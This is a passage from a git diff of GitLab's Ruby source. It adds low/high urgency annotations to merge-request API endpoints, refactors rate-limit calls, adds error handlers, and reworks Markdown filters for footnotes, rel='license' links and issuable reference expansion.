validate_anonymous_search_access! if declared_params[:search].present?
@@ -222,7 +222,7 @@ module API
desc: 'The target project of the merge request defaults to the :id of the project'
use :optional_params
end
- post ":id/merge_requests", feature_category: :code_review do
+ post ":id/merge_requests", feature_category: :code_review, urgency: :low do
Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20770')
authorize! :create_merge_request_from, user_project
@@ -244,7 +244,7 @@ module API
params do
requires :merge_request_iid, type: Integer, desc: 'The IID of a merge request'
end
- delete ":id/merge_requests/:merge_request_iid", feature_category: :code_review do
+ delete ":id/merge_requests/:merge_request_iid", feature_category: :code_review, urgency: :low do
merge_request = find_project_merge_request(params[:merge_request_iid])
authorize!(:destroy_merge_request, merge_request)
@@ -263,7 +263,7 @@ module API
desc 'Get a single merge request' do
success Entities::MergeRequest
end
- get ':id/merge_requests/:merge_request_iid', feature_category: :code_review do
+ get ':id/merge_requests/:merge_request_iid', feature_category: :code_review, urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
present merge_request,
@@ -279,10 +279,10 @@ module API
desc 'Get the participants of a merge request' do
success Entities::UserBasic
end
- get ':id/merge_requests/:merge_request_iid/participants', feature_category: :code_review do
+ get ':id/merge_requests/:merge_request_iid/participants', feature_category: :code_review, urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
- participants = ::Kaminari.paginate_array(merge_request.participants)
+ participants = ::Kaminari.paginate_array(merge_request.visible_participants(current_user))
present paginate(participants), with: Entities::UserBasic
end
@@ -290,7 +290,7 @@ module API
desc 'Get the commits of a merge request' do
success Entities::Commit
end
- get ':id/merge_requests/:merge_request_iid/commits', feature_category: :code_review do
+ get ':id/merge_requests/:merge_request_iid/commits', feature_category: :code_review, urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
commits =
@@ -303,7 +303,7 @@ module API
desc 'Get the context commits of a merge request' do
success Entities::Commit
end
- get ':id/merge_requests/:merge_request_iid/context_commits', feature_category: :code_review do
+ get ':id/merge_requests/:merge_request_iid/context_commits', feature_category: :code_review, urgency: :high do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
project = merge_request.project
@@ -371,7 +371,7 @@ module API
desc 'Show the merge request changes' do
success Entities::MergeRequestChanges
end
- get ':id/merge_requests/:merge_request_iid/changes', feature_category: :code_review do
+ get ':id/merge_requests/:merge_request_iid/changes', feature_category: :code_review, urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
present merge_request,
@@ -422,7 +422,7 @@ module API
use :optional_params
at_least_one_of(*::API::MergeRequests.update_params_at_least_one_of)
end
- put ':id/merge_requests/:merge_request_iid', feature_category: :code_review do
+ put ':id/merge_requests/:merge_request_iid', feature_category: :code_review, urgency: :low do
Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20772')
merge_request = find_merge_request_with_access(params.delete(:merge_request_iid), :update_merge_request)
@@ -454,7 +454,7 @@ module API
optional :sha, type: String, desc: 'When present, must have the HEAD SHA of the source branch'
optional :squash, type: Grape::API::Boolean, desc: 'When true, the commits will be squashed into a single commit on merge'
end
- put ':id/merge_requests/:merge_request_iid/merge', feature_category: :code_review do
+ put ':id/merge_requests/:merge_request_iid/merge', feature_category: :code_review, urgency: :low do
Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/4796')
merge_request = find_project_merge_request(params[:merge_request_iid])
@@ -524,7 +524,7 @@ module API
params do
optional :skip_ci, type: Boolean, desc: 'Do not create CI pipeline'
end
- put ':id/merge_requests/:merge_request_iid/rebase', feature_category: :code_review do
+ put ':id/merge_requests/:merge_request_iid/rebase', feature_category: :code_review, urgency: :low do
merge_request = find_project_merge_request(params[:merge_request_iid])
authorize_push_to_merge_request!(merge_request)
@@ -543,7 +543,7 @@ module API
params do
use :pagination
end
- get ':id/merge_requests/:merge_request_iid/closes_issues', feature_category: :code_review do
+ get ':id/merge_requests/:merge_request_iid/closes_issues', feature_category: :code_review, urgency: :low do
merge_request = find_merge_request_with_access(params[:merge_request_iid])
issues = ::Kaminari.paginate_array(merge_request.visible_closing_issues_for(current_user))
issues = paginate(issues)
diff --git a/lib/api/notes.rb b/lib/api/notes.rb
index 656eaa2b2bb..93ef77d5a62 100644
--- a/lib/api/notes.rb
+++ b/lib/api/notes.rb
@@ -7,6 +7,11 @@ module API
before { authenticate! }
+ urgency :low, [
+ '/projects/:id/merge_requests/:noteable_id/notes',
+ '/projects/:id/merge_requests/:noteable_id/notes/:note_id'
+ ]
+
Helpers::NotesHelpers.feature_category_per_noteable_type.each do |noteable_type, feature_category|
parent_type = noteable_type.parent_class.to_s.underscore
noteables_str = noteable_type.to_s.underscore.pluralize
@@ -74,7 +79,7 @@ module API
post ":id/#{noteables_str}/:noteable_id/notes", feature_category: feature_category do
allowlist =
Gitlab::CurrentSettings.current_application_settings.notes_create_limit_allowlist
- check_rate_limit! :notes_create, [current_user], allowlist
+ check_rate_limit! :notes_create, scope: current_user, users_allowlist: allowlist
noteable = find_noteable(noteable_type, params[:noteable_id])
opts = {
diff --git a/lib/api/project_export.rb b/lib/api/project_export.rb
index e01c195dbc4..843f72c0e1d 100644
--- a/lib/api/project_export.rb
+++ b/lib/api/project_export.rb
@@ -25,7 +25,7 @@ module API
detail 'This feature was introduced in GitLab 10.6.'
end
get ':id/export/download' do
- check_rate_limit! :project_download_export, [current_user, user_project]
+ check_rate_limit! :project_download_export, scope: [current_user, user_project]
if user_project.export_file_exists?
if user_project.export_archive_exists?
@@ -49,7 +49,7 @@ module API
end
end
post ':id/export' do
- check_rate_limit! :project_export, [current_user]
+ check_rate_limit! :project_export, scope: current_user
user_project.remove_exports
diff --git a/lib/api/project_import.rb b/lib/api/project_import.rb
index e7c532e2483..7bdcaa5a26f 100644
--- a/lib/api/project_import.rb
+++ b/lib/api/project_import.rb
@@ -81,7 +81,7 @@ module API
post 'import' do
require_gitlab_workhorse!
- check_rate_limit! :project_import, [current_user, :project_import]
+ check_rate_limit! :project_import, scope: [current_user, :project_import]
Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/21041')
@@ -107,7 +107,7 @@ module API
params do
requires :id, type: String, desc: 'The ID of a project'
end
- desc 'Get a project export status' do
+ desc 'Get a project import status' do
detail 'This feature was introduced in GitLab 10.6.'
success Entities::ProjectImportStatus
end
@@ -135,7 +135,7 @@ module API
post 'remote-import' do
not_found! unless ::Feature.enabled?(:import_project_from_remote_file)
- check_rate_limit! :project_import, [current_user, :project_import]
+ check_rate_limit! :project_import, scope: [current_user, :project_import]
response = ::Import::GitlabProjects::CreateProjectFromRemoteFileService.new(
current_user,
diff --git a/lib/api/projects.rb b/lib/api/projects.rb
index 9f0077d23d8..67f0b7af7a9 100644
--- a/lib/api/projects.rb
+++ b/lib/api/projects.rb
@@ -270,7 +270,7 @@ module API
attrs = translate_params_for_compatibility(attrs)
filter_attributes_using_license!(attrs)
- validate_git_import_url!(params[:import_url], import_enabled: check_import_by_url_is_enabled)
+ validate_git_import_url!(params[:import_url]) { check_import_by_url_is_enabled }
project = ::Projects::CreateService.new(current_user, attrs).execute
diff --git a/lib/api/repositories.rb b/lib/api/repositories.rb
index 2dd0e40afba..fc976c23726 100644
--- a/lib/api/repositories.rb
+++ b/lib/api/repositories.rb
@@ -10,6 +10,32 @@ module API
helpers ::API::Helpers::HeadersHelpers
+ helpers do
+ params :release_params do
+ requires :version,
+ type: String,
+ regexp: Gitlab::Regex.unbounded_semver_regex,
+ desc: 'The version of the release, using the semantic versioning format'
+
+ optional :from,
+ type: String,
+ desc: 'The first commit in the range of commits to use for the changelog'
+
+ optional :to,
+ type: String,
+ desc: 'The last commit in the range of commits to use for the changelog'
+
+ optional :date,
+ type: DateTime,
+ desc: 'The date and time of the release'
+
+ optional :trailer,
+ type: String,
+ desc: 'The Git trailer to use for determining if commits are to be included in the changelog',
+ default: ::Repositories::ChangelogService::DEFAULT_TRAILER
+ end
+ end
+
before { authorize! :download_code, user_project }
feature_category :source_code_management
@@ -19,7 +45,7 @@ module API
end
resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
helpers do
- include ::Gitlab::RateLimitHelpers
+ include Gitlab::RepositoryArchiveRateLimiter
def handle_project_member_errors(errors)
if errors[:project_access].any?
@@ -124,8 +150,8 @@ module API
optional :path, type: String, desc: 'Subfolder of the repository to be downloaded'
end
get ':id/repository/archive', requirements: { format: Gitlab::PathRegex.archive_formats_regex } do
- if archive_rate_limit_reached?(current_user, user_project)
- render_api_error!({ error: ::Gitlab::RateLimitHelpers::ARCHIVE_RATE_LIMIT_REACHED_MESSAGE }, 429)
+ check_archive_rate_limit!(current_user, user_project) do
+ render_api_error!({ error: _('This archive has been requested too many times. Try again later.') }, 429)
end
not_acceptable! if Gitlab::HotlinkingDetector.intercept_hotlinking?(request)
@@ -208,36 +234,33 @@ module API
end
end
- desc 'Generates a changelog section for a release' do
- detail 'This feature was introduced in GitLab 13.9'
+ desc 'Generates a changelog section for a release and returns it' do
+ detail 'This feature was introduced in GitLab 14.6'
end
params do
- requires :version,
- type: String,
- regexp: Gitlab::Regex.unbounded_semver_regex,
- desc: 'The version of the release, using the semantic versioning format'
-
- optional :from,
- type: String,
- desc: 'The first commit in the range of commits to use for the changelog'
+ use :release_params
+ end
+ get ':id/repository/changelog' do
+ service = ::Repositories::ChangelogService.new(
+ user_project,
+ current_user,
+ **declared_params(include_missing: false)
+ )
+ changelog = service.execute(commit_to_changelog: false)
- optional :to,
- type: String,
- desc: 'The last commit in the range of commits to use for the changelog'
+ present changelog, with: Entities::Changelog
+ end
- optional :date,
- type: DateTime,
- desc: 'The date and time of the release'
+ desc 'Generates a changelog section for a release and commits it in a changelog file' do
+ detail 'This feature was introduced in GitLab 13.9'
+ end
+ params do
+ use :release_params
optional :branch,
type: String,
desc: 'The branch to commit the changelog changes to'
- optional :trailer,
- type: String,
- desc: 'The Git trailer to use for determining if commits are to be included in the changelog',
- default: ::Repositories::ChangelogService::DEFAULT_TRAILER
-
optional :file,
type: String,
desc: 'The file to commit the changelog changes to',
@@ -261,7 +284,7 @@ module API
**declared_params(include_missing: false)
)
- service.execute
+ service.execute(commit_to_changelog: true)
status(200)
rescue Gitlab::Changelog::Error => ex
render_api_error!("Failed to generate the changelog: #{ex.message}", 422)
@@ -269,3 +292,5 @@ module API
end
end
end
+
+API::Repositories.prepend_mod
diff --git a/lib/api/resource_label_events.rb b/lib/api/resource_label_events.rb
index 33589f6c393..cd56809f45a 100644
--- a/lib/api/resource_label_events.rb
+++ b/lib/api/resource_label_events.rb
@@ -24,7 +24,7 @@ module API
use :pagination
end
- get ":id/#{eventables_str}/:eventable_id/resource_label_events", feature_category: feature_category do
+ get ":id/#{eventables_str}/:eventable_id/resource_label_events", feature_category: feature_category, urgency: :low do
eventable = find_noteable(eventable_type, params[:eventable_id])
events = eventable.resource_label_events.inc_relations
diff --git a/lib/api/resource_milestone_events.rb b/lib/api/resource_milestone_events.rb
index c0483ca59c2..04d71faa56a 100644
--- a/lib/api/resource_milestone_events.rb
+++ b/lib/api/resource_milestone_events.rb
@@ -26,7 +26,7 @@ module API
use :pagination
end
- get ":id/#{eventables_str}/:eventable_id/resource_milestone_events", feature_category: feature_category do
+ get ":id/#{eventables_str}/:eventable_id/resource_milestone_events", feature_category: feature_category, urgency: :low do
eventable = find_noteable(eventable_type, params[:eventable_id])
events = ResourceMilestoneEventFinder.new(current_user, eventable).execute
diff --git a/lib/api/resource_state_events.rb b/lib/api/resource_state_events.rb
index 9b6f6a954b4..4b92f320d6f 100644
--- a/lib/api/resource_state_events.rb
+++ b/lib/api/resource_state_events.rb
@@ -25,7 +25,7 @@ module API
use :pagination
end
- get ":id/#{eventable_name.pluralize}/:eventable_iid/resource_state_events", feature_category: feature_category do
+ get ":id/#{eventable_name.pluralize}/:eventable_iid/resource_state_events", feature_category: feature_category, urgency: :low do
eventable = find_noteable(eventable_class, params[:eventable_iid])
events = ResourceStateEventFinder.new(current_user, eventable).execute
diff --git a/lib/api/search.rb b/lib/api/search.rb
index 3c5801366a8..fbdbe3476db 100644
--- a/lib/api/search.rb
+++ b/lib/api/search.rb
@@ -8,6 +8,10 @@ module API
feature_category :global_search
+ rescue_from ActiveRecord::QueryCanceled do |e|
+ render_api_error!({ error: 'Request timed out' }, 408)
+ end
+
helpers do
SCOPE_ENTITY = {
merge_requests: Entities::MergeRequestBasic,
diff --git a/lib/api/settings.rb b/lib/api/settings.rb
index 12e1d21a00d..508ccdb4b33 100644
--- a/lib/api/settings.rb
+++ b/lib/api/settings.rb
@@ -154,7 +154,6 @@ module API
optional :spam_check_endpoint_enabled, type: Boolean, desc: 'Enable Spam Check via external API endpoint'
given spam_check_endpoint_enabled: ->(val) { val } do
requires :spam_check_endpoint_url, type: String, desc: 'The URL of the external Spam Check service endpoint'
- requires :spam_check_api_key, type: String, desc: 'The API key used by GitLab for accessing the Spam Check service endpoint'
end
optional :terminal_max_session_time, type: Integer, desc: 'Maximum time for web terminal websocket connection (in seconds). Set to 0 for unlimited time.'
optional :usage_ping_enabled, type: Boolean, desc: 'Every week GitLab will report license usage back to GitLab, Inc.'
diff --git a/lib/api/suggestions.rb b/lib/api/suggestions.rb
index 7921700e365..0697169b49a 100644
--- a/lib/api/suggestions.rb
+++ b/lib/api/suggestions.rb
@@ -14,7 +14,7 @@ module API
requires :id, type: String, desc: 'The suggestion ID'
optional :commit_message, type: String, desc: "A custom commit message to use instead of the default generated message or the project's default message"
end
- put ':id/apply' do
+ put ':id/apply', urgency: :low do
suggestion = Suggestion.find_by_id(params[:id])
if suggestion
@@ -31,7 +31,7 @@ module API
requires :ids, type: Array[Integer], coerce_with: ::API::Validations::Types::CommaSeparatedToIntegerArray.coerce, desc: "An array of suggestion ID's"
optional :commit_message, type: String, desc: "A custom commit message to use instead of the default generated message or the project's default message"
end
- put 'batch_apply' do
+ put 'batch_apply', urgency: :low do
ids = params[:ids]
suggestions = Suggestion.id_in(ids)
diff --git a/lib/api/terraform/state.rb b/lib/api/terraform/state.rb
index f6dfbcafbb6..29e71611092 100644
--- a/lib/api/terraform/state.rb
+++ b/lib/api/terraform/state.rb
@@ -11,6 +11,13 @@ module API
default_format :json
+ rescue_from(
+ ::ActiveRecord::RecordNotUnique,
+ ::PG::UniqueViolation
+ ) do |e|
+ render_api_error!(e.message, 422)
+ end
+
before do
authenticate!
authorize! :read_terraform_state, user_project
diff --git a/lib/api/topics.rb b/lib/api/topics.rb
index bd28ebe58a9..b9c2bcc2da8 100644
--- a/lib/api/topics.rb
+++ b/lib/api/topics.rb
@@ -69,6 +69,8 @@ module API
topic = ::Projects::Topic.find(params[:id])
+ topic.remove_avatar! if params.key?(:avatar) && params[:avatar].nil?
+
if topic.update(declared_params(include_missing: false))
present topic, with: Entities::Projects::Topic
else
diff --git a/lib/api/v3/github.rb b/lib/api/v3/github.rb
index 677d0840208..d6c026963e1 100644
--- a/lib/api/v3/github.rb
+++ b/lib/api/v3/github.rb
@@ -101,8 +101,6 @@ module API
# of time after a Gitaly timeout, to mitigate frequent Gitaly timeouts
# for some Commit diffs.
def diff_files(commit)
- return commit.diffs.diff_files unless Feature.enabled?(:api_v3_commits_skip_diff_files, commit.project, default_enabled: :yaml)
-
cache_key = [
GITALY_TIMEOUT_CACHE_KEY,
commit.project.id,
diff --git a/lib/api/validations/types/workhorse_file.rb b/lib/api/validations/types/workhorse_file.rb
index e65e94fc8db..23f402596d5 100644
--- a/lib/api/validations/types/workhorse_file.rb
+++ b/lib/api/validations/types/workhorse_file.rb
@@ -5,6 +5,7 @@ module API
module Types
class WorkhorseFile
def self.parse(value)
+ return if value.blank?
raise "#{value.class} is not an UploadedFile type" unless parsed?(value)
value
diff --git a/lib/banzai/filter/base_sanitization_filter.rb b/lib/banzai/filter/base_sanitization_filter.rb
index c63453f94ca..7ea32c4b1e7 100644
--- a/lib/banzai/filter/base_sanitization_filter.rb
+++ b/lib/banzai/filter/base_sanitization_filter.rb
@@ -59,7 +59,11 @@ module Banzai
def remove_rel
lambda do |env|
if env[:node_name] == 'a'
- env[:node].remove_attribute('rel')
+ # we allow rel="license" to support the Rel-license microformat
+ # http://microformats.org/wiki/rel-license
+ unless env[:node].attribute('rel')&.value == 'license'
+ env[:node].remove_attribute('rel')
+ end
end
end
end
diff --git a/lib/banzai/filter/external_link_filter.rb b/lib/banzai/filter/external_link_filter.rb
index 67019454e44..dc65e2abb46 100644
--- a/lib/banzai/filter/external_link_filter.rb
+++ b/lib/banzai/filter/external_link_filter.rb
@@ -112,7 +112,9 @@ module Banzai
def add_nofollow!(uri, node)
if SCHEMES.include?(uri&.scheme)
+ license = true if node.attribute('rel')&.value == 'license'
node.set_attribute('rel', 'nofollow noreferrer noopener')
+ node.kwattr_append('rel', 'license') if license
node.set_attribute('target', '_blank')
end
end
diff --git a/lib/banzai/filter/footnote_filter.rb b/lib/banzai/filter/footnote_filter.rb
index 39c42ceaf9b..00a38f02141 100644
--- a/lib/banzai/filter/footnote_filter.rb
+++ b/lib/banzai/filter/footnote_filter.rb
@@ -21,9 +21,9 @@ module Banzai
FOOTNOTE_LI_REFERENCE_PATTERN = /\A#{FOOTNOTE_ID_PREFIX}.+\z/.freeze
FOOTNOTE_LINK_REFERENCE_PATTERN = /\A#{FOOTNOTE_LINK_ID_PREFIX}.+\z/.freeze
- CSS_SECTION = "ol > li a[href^=\"\##{FOOTNOTE_LINK_ID_PREFIX}\"]"
+ CSS_SECTION = "section[data-footnotes]"
XPATH_SECTION = Gitlab::Utils::Nokogiri.css_to_xpath(CSS_SECTION).freeze
- CSS_FOOTNOTE = 'sup > a[id]'
+ CSS_FOOTNOTE = 'sup > a[data-footnote-ref]'
XPATH_FOOTNOTE = Gitlab::Utils::Nokogiri.css_to_xpath(CSS_FOOTNOTE).freeze
# only needed when feature flag use_cmark_renderer is turned off
@@ -37,39 +37,47 @@ module Banzai
XPATH_SECTION_OLD = Gitlab::Utils::Nokogiri.css_to_xpath(CSS_SECTION_OLD).freeze
def call
- xpath_section = Feature.enabled?(:use_cmark_renderer) ? XPATH_SECTION : XPATH_SECTION_OLD
- return doc unless first_footnote = doc.at_xpath(xpath_section)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
+ # Sanitization stripped off the section class - add it back in
+ return doc unless section_node = doc.at_xpath(XPATH_SECTION)
- # Sanitization stripped off the section wrapper - add it back in
- if Feature.enabled?(:use_cmark_renderer)
- first_footnote.parent.parent.parent.wrap('<section class="footnotes" data-footnotes>')
+ section_node.append_class('footnotes')
else
+ return doc unless first_footnote = doc.at_xpath(XPATH_SECTION_OLD)
+ return doc unless first_footnote.parent
+
first_footnote.parent.wrap('<section class="footnotes">')
end
rand_suffix = "-#{random_number}"
modified_footnotes = {}
- doc.xpath(XPATH_FOOTNOTE).each do |link_node|
- if Feature.enabled?(:use_cmark_renderer)
+ xpath_footnote = if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
+ XPATH_FOOTNOTE
+ else
+ Gitlab::Utils::Nokogiri.css_to_xpath('sup > a[id]')
+ end
+
+ doc.xpath(xpath_footnote).each do |link_node|
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
ref_num = link_node[:id].delete_prefix(FOOTNOTE_LINK_ID_PREFIX)
ref_num.gsub!(/[[:punct:]]/, '\\\\\&')
else
ref_num = link_node[:id].delete_prefix(FOOTNOTE_LINK_ID_PREFIX_OLD)
end
- node_xpath = Gitlab::Utils::Nokogiri.css_to_xpath("li[id=#{fn_id(ref_num)}]")
+ css = Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml) ? "section[data-footnotes] li[id=#{fn_id(ref_num)}]" : "li[id=#{fn_id(ref_num)}]"
+ node_xpath = Gitlab::Utils::Nokogiri.css_to_xpath(css)
footnote_node = doc.at_xpath(node_xpath)
if footnote_node || modified_footnotes[ref_num]
- next if Feature.disabled?(:use_cmark_renderer) && !INTEGER_PATTERN.match?(ref_num)
+ next if Feature.disabled?(:use_cmark_renderer, default_enabled: :yaml) && !INTEGER_PATTERN.match?(ref_num)
link_node[:href] += rand_suffix
link_node[:id] += rand_suffix
# Sanitization stripped off class - add it back in
link_node.parent.append_class('footnote-ref')
- link_node['data-footnote-ref'] = nil if Feature.enabled?(:use_cmark_renderer)
unless modified_footnotes[ref_num]
footnote_node[:id] += rand_suffix
@@ -78,7 +86,6 @@ module Banzai
if backref_node
backref_node[:href] += rand_suffix
backref_node.append_class('footnote-backref')
- backref_node['data-footnote-backref'] = nil if Feature.enabled?(:use_cmark_renderer)
end
modified_footnotes[ref_num] = true
@@ -96,12 +103,12 @@ module Banzai
end
def fn_id(num)
- prefix = Feature.enabled?(:use_cmark_renderer) ? FOOTNOTE_ID_PREFIX : FOOTNOTE_ID_PREFIX_OLD
+ prefix = Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml) ? FOOTNOTE_ID_PREFIX : FOOTNOTE_ID_PREFIX_OLD
"#{prefix}#{num}"
end
def fnref_id(num)
- prefix = Feature.enabled?(:use_cmark_renderer) ? FOOTNOTE_LINK_ID_PREFIX : FOOTNOTE_LINK_ID_PREFIX_OLD
+ prefix = Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml) ? FOOTNOTE_LINK_ID_PREFIX : FOOTNOTE_LINK_ID_PREFIX_OLD
"#{prefix}#{num}"
end
end
diff --git a/lib/banzai/filter/issuable_reference_expansion_filter.rb b/lib/banzai/filter/issuable_reference_expansion_filter.rb
new file mode 100644
index 00000000000..6822e36c9be
--- /dev/null
+++ b/lib/banzai/filter/issuable_reference_expansion_filter.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ # HTML filter that appends extra information to issuable links.
+ # Runs as a post-process filter as issuable might change while
+ # Markdown is in the cache.
+ #
+ # This filter supports cross-project references.
+ class IssuableReferenceExpansionFilter < HTML::Pipeline::Filter
+ include Gitlab::Utils::StrongMemoize
+
+ VISIBLE_STATES = %w(closed merged).freeze
+
+ def call
+ return doc unless context[:issuable_reference_expansion_enabled]
+
+ context = RenderContext.new(project, current_user)
+ extractor = Banzai::IssuableExtractor.new(context)
+ issuables = extractor.extract([doc])
+
+ issuables.each do |node, issuable|
+ next if !can_read_cross_project? && cross_referenced?(issuable)
+ next unless should_expand?(node, issuable)
+
+ case node.attr('data-reference-format')
+ when '+'
+ expand_reference_with_title_and_state(node, issuable)
+ else
+ expand_reference_with_state(node, issuable)
+ end
+ end
+
+ doc
+ end
+
+ private
+
+ # Example: Issue Title (#123 - closed)
+ def expand_reference_with_title_and_state(node, issuable)
+ node.content = "#{issuable.title.truncate(50)} (#{node.content}"
+ node.content += " - #{issuable_state_text(issuable)}" if VISIBLE_STATES.include?(issuable.state)
+ node.content += ')'
+ end
+
+ # Example: #123 (closed)
+ def expand_reference_with_state(node, issuable)
+ node.content += " (#{issuable_state_text(issuable)})"
+ end
+
+ def issuable_state_text(issuable)
+ moved_issue?(issuable) ? s_("IssuableStatus|moved") : issuable.state
+ end
+
+ def moved_issue?(issuable)
+ issuable.instance_of?(Issue) && issuable.moved?
+ end
+
+ def should_expand?(node, issuable)
+ # We add this extra check to avoid unescaping HTML and generating reference link text for every reference
+ return unless node.attr('data-reference-format').present? || VISIBLE_STATES.include?(issuable.state)
+
+ CGI.unescapeHTML(node.inner_html) == issuable.reference_link_text(project || group)
+ end
+
+ def cross_referenced?(issuable)
+ return true if issuable.project != project
+ return true if issuable.respond_to?(:group) && issuable.group != group
+
+ false
+ end
+
+ def can_read_cross_project?
+ strong_memoize(:can_read_cross_project) do
+ Ability.allowed?(current_user, :read_cross_project)
+ end
+ end
+
+ def current_user
+ context[:current_user]
+ end
+
+ def project
+ context[:project]
+ end
+
+ def group
+ context[:group]
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/issuable_state_filter.rb b/lib/banzai/filter/issuable_state_filter.rb
deleted file mode 100644
index a88629ac105..00000000000
--- a/lib/banzai/filter/issuable_state_filter.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # HTML filter that appends state information to issuable links.
- # Runs as a post-process filter as issuable state might change while
- # Markdown is in the cache.
- #
- # This filter supports cross-project references.
- class IssuableStateFilter < HTML::Pipeline::Filter
- VISIBLE_STATES = %w(closed merged).freeze
-
- def call
- return doc unless context[:issuable_state_filter_enabled]
-
- context = RenderContext.new(project, current_user)
- extractor = Banzai::IssuableExtractor.new(context)
- issuables = extractor.extract([doc])
-
- issuables.each do |node, issuable|
- next if !can_read_cross_project? && cross_referenced?(issuable)
-
- if VISIBLE_STATES.include?(issuable.state) && issuable_reference?(node.inner_html, issuable)
- state = moved_issue?(issuable) ? s_("IssuableStatus|moved") : issuable.state
- node.content += " (#{state})"
- end
- end
-
- doc
- end
-
- private
-
- def moved_issue?(issuable)
- issuable.instance_of?(Issue) && issuable.moved?
- end
-
- def issuable_reference?(text, issuable)
- CGI.unescapeHTML(text) == issuable.reference_link_text(project || group)
- end
-
- def cross_referenced?(issuable)
- return true if issuable.project != project
- return true if issuable.respond_to?(:group) && issuable.group != group
-
- false
- end
-
- def can_read_cross_project?
- Ability.allowed?(current_user, :read_cross_project)
- end
-
- def current_user
- context[:current_user]
- end
-
- def project
- context[:project]
- end
-
- def group
- context[:group]
- end
- end
- end
-end
diff --git a/lib/banzai/filter/markdown_engines/common_mark.rb b/lib/banzai/filter/markdown_engines/common_mark.rb
index a25ebedf029..dc94e3c925a 100644
--- a/lib/banzai/filter/markdown_engines/common_mark.rb
+++ b/lib/banzai/filter/markdown_engines/common_mark.rb
@@ -42,11 +42,11 @@ module Banzai
def initialize(context)
@context = context
- @renderer = Banzai::Renderer::CommonMark::HTML.new(options: render_options) if Feature.disabled?(:use_cmark_renderer)
+ @renderer = Banzai::Renderer::CommonMark::HTML.new(options: render_options) if Feature.disabled?(:use_cmark_renderer, default_enabled: :yaml)
end
def render(text)
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
CommonMarker.render_html(text, render_options, extensions)
else
doc = CommonMarker.render_doc(text, PARSE_OPTIONS, extensions)
@@ -58,7 +58,7 @@ module Banzai
private
def extensions
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
EXTENSIONS
else
EXTENSIONS + [
@@ -72,7 +72,7 @@ module Banzai
end
def render_options_no_sourcepos
- Feature.enabled?(:use_cmark_renderer) ? RENDER_OPTIONS_C : RENDER_OPTIONS_RUBY
+ Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml) ? RENDER_OPTIONS_C : RENDER_OPTIONS_RUBY
end
def render_options_sourcepos
diff --git a/lib/banzai/filter/markdown_post_escape_filter.rb b/lib/banzai/filter/markdown_post_escape_filter.rb
index ccffe1bfbb1..b979b7573ae 100644
--- a/lib/banzai/filter/markdown_post_escape_filter.rb
+++ b/lib/banzai/filter/markdown_post_escape_filter.rb
@@ -42,7 +42,7 @@ module Banzai
private
def lang_tag
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
Gitlab::Utils::Nokogiri.css_to_xpath('pre')
else
Gitlab::Utils::Nokogiri.css_to_xpath('code')
diff --git a/lib/banzai/filter/math_filter.rb b/lib/banzai/filter/math_filter.rb
index 53dafe45fb3..6859d67c9d8 100644
--- a/lib/banzai/filter/math_filter.rb
+++ b/lib/banzai/filter/math_filter.rb
@@ -39,7 +39,7 @@ module Banzai
code[:class] = INLINE_CLASSES
code[STYLE_ATTRIBUTE] = 'inline'
- closing.content = closing.content[1..-1]
+ closing.content = closing.content[1..]
opening.content = opening.content[0..-2]
end
end
diff --git a/lib/banzai/filter/plantuml_filter.rb b/lib/banzai/filter/plantuml_filter.rb
index e67cdc7df12..3f160960d23 100644
--- a/lib/banzai/filter/plantuml_filter.rb
+++ b/lib/banzai/filter/plantuml_filter.rb
@@ -26,7 +26,7 @@ module Banzai
def lang_tag
@lang_tag ||=
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
Gitlab::Utils::Nokogiri.css_to_xpath('pre[lang="plantuml"] > code').freeze
else
Gitlab::Utils::Nokogiri.css_to_xpath('pre > code[lang="plantuml"]').freeze
diff --git a/lib/banzai/filter/references/abstract_reference_filter.rb b/lib/banzai/filter/references/abstract_reference_filter.rb
index cae0a8b424a..7a23326bafa 100644
--- a/lib/banzai/filter/references/abstract_reference_filter.rb
+++ b/lib/banzai/filter/references/abstract_reference_filter.rb
@@ -205,6 +205,8 @@ module Banzai
data_attributes = data_attributes_for(link_content || match, parent, object,
link_content: !!link_content,
link_reference: link_reference)
+ data_attributes[:reference_format] = matches[:format] if matches.names.include?("format")
+
data = data_attribute(data_attributes)
url =
diff --git a/lib/banzai/filter/references/reference_cache.rb b/lib/banzai/filter/references/reference_cache.rb
index 259958f1598..c8370d5f9c1 100644
--- a/lib/banzai/filter/references/reference_cache.rb
+++ b/lib/banzai/filter/references/reference_cache.rb
@@ -29,7 +29,7 @@ module Banzai
@references_per_parent[parent_type] ||= begin
refs = Hash.new { |hash, key| hash[key] = Set.new }
- prepare_doc_for_scan(filter.doc).to_enum(:scan, regex).each do
+ prepare_doc_for_scan.to_enum(:scan, regex).each do
parent_path = if parent_type == :project
full_project_path($~[:namespace], $~[:project])
else
@@ -184,14 +184,12 @@ module Banzai
Gitlab::SafeRequestStore["banzai_#{parent_type}_refs".to_sym] ||= {}
end
- def prepare_doc_for_scan(doc)
